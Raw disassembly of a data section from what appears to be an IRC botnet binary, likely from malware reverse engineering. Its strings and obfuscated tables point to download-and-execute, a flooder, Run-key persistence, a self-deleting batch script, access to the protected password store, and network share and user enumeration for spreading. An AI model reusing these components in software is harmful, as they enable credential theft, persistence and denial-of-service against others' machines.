'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: cAddress:00403228o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: cAddress:00403203o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: cAddress:0040316Ao dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh aExecuting db ', executing',0 ; DATA XREF: cAddress:004030E2o aUpdating db ', updating',0 ; DATA XREF: cAddress:004030CBo align 4 unk_4184CC db 2Dh ; - ; DATA XREF: cAddress:00402F40o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: cAddress:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: cAddress:00402E91o unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: cAddress:00402E16o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: cAddress:00402DDAo align 10h aTftp db 'tftp://',0 ; DATA XREF: cAddress:00402DB9o aAnonymous db 'anonymous',0 ; DATA XREF: cAddress:00402D8Co ; cAddress:00402D9Fo align 4 a21 db '21',0 ; DATA XREF: cAddress:00402D5Ao align 4 aFtp db 'ftp://',0 ; DATA XREF: cAddress:00402D39o align 10h a80 db '80',0 ; DATA XREF: cAddress:00402D00o ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: cAddress:00402CDFo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: cAddress:00402B67o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: cAddress:00402B42o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh aFile db 'file://',0 ; DATA XREF: cAddress:00402AF2o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: cAddress:00402ADCo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 a_exe db '.exe',0 ; DATA XREF: sub_403260+43o ; sub_412720+51o align 4 aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: cAddress:loc_403538o ; cAddress:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: cAddress:0040352Bo ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: cAddress:004034C7o aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: cAddress:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: cAddress:0040341Eo align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: cAddress:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: cAddress:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: cAddress:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: cAddress:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: cAddress:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: cAddress:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: cAddress:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: cAddress:00403352o aUdp db 'udp',0 ; DATA XREF: cAddress:00403B36o aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: cAddress:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: cAddress:00403E61o dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o a192_168_ db '192.168.',0 ; DATA XREF: sub_4041B7+3Bo align 10h a172_ db '172.',0 ; DATA XREF: sub_4041B7+20o align 4 a127_ db '127.',0 ; DATA XREF: sub_4041B7+5o align 10h aU_U_U_U db '%u.%u.%u.%u',0 ; DATA XREF: sub_40D871+1CCo ; cAddress:00411595o a1 db '::1',0 ; DATA XREF: sub_40435B+42o aU_0 db '%u',0 ; DATA XREF: cAddress:00405A3Do ; cAddress:00405C83o ... align 4 aU_U_U_UU_0 db '%u.%u.%u.%u:%u',0 ; DATA XREF: cAddress:00405903o ; cAddress:004059F0o ... align 4 aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: cAddress:00405888o ; cAddress:00405994o ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: cAddress:0040580Eo ; cAddress:00405936o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; cAddress:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: cAddress:0040647Ao dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: cAddress:004063CDo dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h aListProcesses db 'List processes',0 ; DATA XREF: sub_4064BF+31o align 4 a02x db '%02X',0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... align 4 a08x db '%08X',0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o align 4 aS db '%s',0 ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... align 4 aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset dword_418D98 dd offset dword_418DA8 dd offset aPatns ; "¼âéêÇ" dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset dword_418C5C dd offset dword_418C6C dd offset aRitns ; "¾ˆâéêÇ" dd offset dword_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh ; DATA XREF: cAddress:00418BE4o dd 0CDFEFCFBh, 9AE9A7h, 0 dword_418C10 dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: cAddress:00418BE0o dword_418C24 dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh ; DATA XREF: cAddress:00418BDCo dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0 aRitns db '¾ˆâéêÇ',0 ; DATA XREF: cAddress:00418BD8o align 4 dd 0 dword_418C5C dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0 ; DATA XREF: cAddress:00418BD0o dword_418C6C dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h ; DATA XREF: cAddress:00418BCCo ; cAddress:00418BD4o dd 0F3h, 0 dword_418C88 dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: cAddress:00418BC8o dword_418C9C dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h ; DATA XREF: cAddress:00418BC4o dd 0CEFEEDF4h, 2 dup(0) dword_418CBC dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0) ; DATA XREF: cAddress:00418BC0o dword_418CD0 dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0) ; DATA XREF: cAddress:00418BBCo dword_418CE4 dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0 ; DATA XREF: cAddress:00418BB8o dword_418CF4 dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0) ; DATA XREF: cAddress:00418BB4o dword_418D0C dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: cAddress:00418BB0o dword_418D20 dd 0D88195A8h, 0CCFDEBECh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: cAddress:00418BA8o dword_418D34 dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh ; DATA XREF: cAddress:00418BA4o ; cAddress:00418BACo dd 0CDFBF8E2h, 0BBh, 0 dword_418D54 dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0 ; DATA XREF: cAddress:00418BA0o dword_418D64 dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h ; DATA XREF: cAddress:00418B9Co dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0 aPatns db '¼âéêÇ',0 ; DATA XREF: cAddress:00418B98o align 8 dword_418D98 dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF: cAddress:00418B90o dword_418DA8 dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh ; DATA XREF: cAddress:off_418B8Co ; cAddress:00418B94o dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0) dword_418DD0 dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF: cAddress:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... aExplorer_exe db '\explorer.exe',0 ; DATA XREF: sub_406B81+1Bo align 4 aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: cAddress:00407442o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h aRejected db ' rejected',0 ; DATA XREF: cAddress:loc_407423o align 4 dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: cAddress:004076B7o dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 0BF818FB2h, 0FFE3E0h, 0 ; DATA XREF: sub_408887+6o dword_418F6C dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0) ; DATA XREF: sub_408887+14o aPbCs db '²¿çé',0 ; DATA XREF: sub_408887+22o align 10h dword_418F90 dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0) ; DATA XREF: sub_408887+30o dword_418FA0 dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh ; DATA XREF: cAddress:00418FD8o dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h dd 2 dup(0) dword_41903C dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h ; DATA XREF: cAddress:00418FD4o dd 0 dword_419054 dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh ; DATA XREF: cAddress:00418FD0o dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh dd 0A5E1A8h, 0 dword_419098 dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h ; DATA XREF: cAddress:00418FCCo dd 0E1ECh, 0 dword_4190B4 dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh ; DATA XREF: cAddress:off_418FC8o dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h dd 0ABC6FEB0h, 0FCB5h, 0 dword_4190E8 dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h ; DATA XREF: cAddress:off_418FC4o dd 0 off_419100 dd offset byte_415355 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: cAddress:0040877Bo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: cAddress:loc_4086C8o ; cAddress:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: cAddress:0040867Fo aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: cAddress:00408643o align 4 aNo db 'No',0 ; DATA XREF: cAddress:loc_4085EBo ; cAddress:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: cAddress:004085DFo ; cAddress:00408CA8o ... a2003 db '2003',0 ; DATA XREF: cAddress:004085ACo ; cAddress:0041BD9Co align 4 aXp db 'XP',0 ; DATA XREF: cAddress:0040858Eo align 10h a2000 db '2000',0 ; DATA XREF: cAddress:00408570o ; cAddress:0041BD90o align 4 aMe db 'ME',0 ; DATA XREF: cAddress:00408552o align 4 a98 db '98',0 ; DATA XREF: cAddress:00408534o align 10h aNt db 'NT',0 ; DATA XREF: cAddress:00408513o align 4 a95 db '95',0 ; DATA XREF: cAddress:00408500o align 4 aNoSp db 'no SP',0 ; DATA XREF: cAddress:004084DBo align 10h a?: ; DATA XREF: cAddress:004084D1o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: cAddress:00408E04o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: cAddress:00408D29o align 4 aAvarage db 'Avarage',0 ; DATA XREF: cAddress:00408D13o aBad db 'Bad',0 ; DATA XREF: cAddress:00408CFDo aLan db 'LAN',0 ; DATA XREF: cAddress:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: cAddress:00408C7Do align 10h aUnknown db 'Unknown',0 ; DATA XREF: cAddress:00408C25o ; cAddress:00408C38o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; cAddress:00408F7Cr ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: cAddress:0040919Eo dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: cAddress:0040911Bo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: cAddress:004090F3o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: cAddress:004090AAo ; cAddress:00409178o aUnknown_0 db 'unknown',0 ; DATA XREF: cAddress:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: cAddress:00409024o aCdRom db 'cd-rom',0 ; DATA XREF: cAddress:00409012o align 10h aRemote db 'remote',0 ; DATA XREF: cAddress:00409000o align 4 aFixed db 'fixed',0 ; DATA XREF: cAddress:00408FEEo align 10h aRemovable db 'removable',0 ; DATA XREF: cAddress:00408FDCo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: cAddress:00408F5Co align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 align 10h aBtg db 'btg',0 dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: cAddress:0040941Do aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS_0 db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: cAddress:00409BAFo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: cAddress:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: cAddress:00409B0Fo dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: cAddress:0040A173o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: cAddress:0040A14Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: cAddress:0040A0FFo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: cAddress:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: cAddress:00409E50o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: cAddress:00409E3Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: cAddress:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: cAddress:00409E04o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o aS_1 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40A2D2+6Eo align 4 a43 db '43',0 ; DATA XREF: sub_40A2D2+41o align 4 dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: cAddress:0040A4E8o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 12EA0h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 4DC8A28h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 4D38h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 22710E8h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 99C3EAA0h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 261D51F8h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 260A0h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 1371D1F8h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 135E8h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 0E7606A0h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 18820E30h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 18788h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: 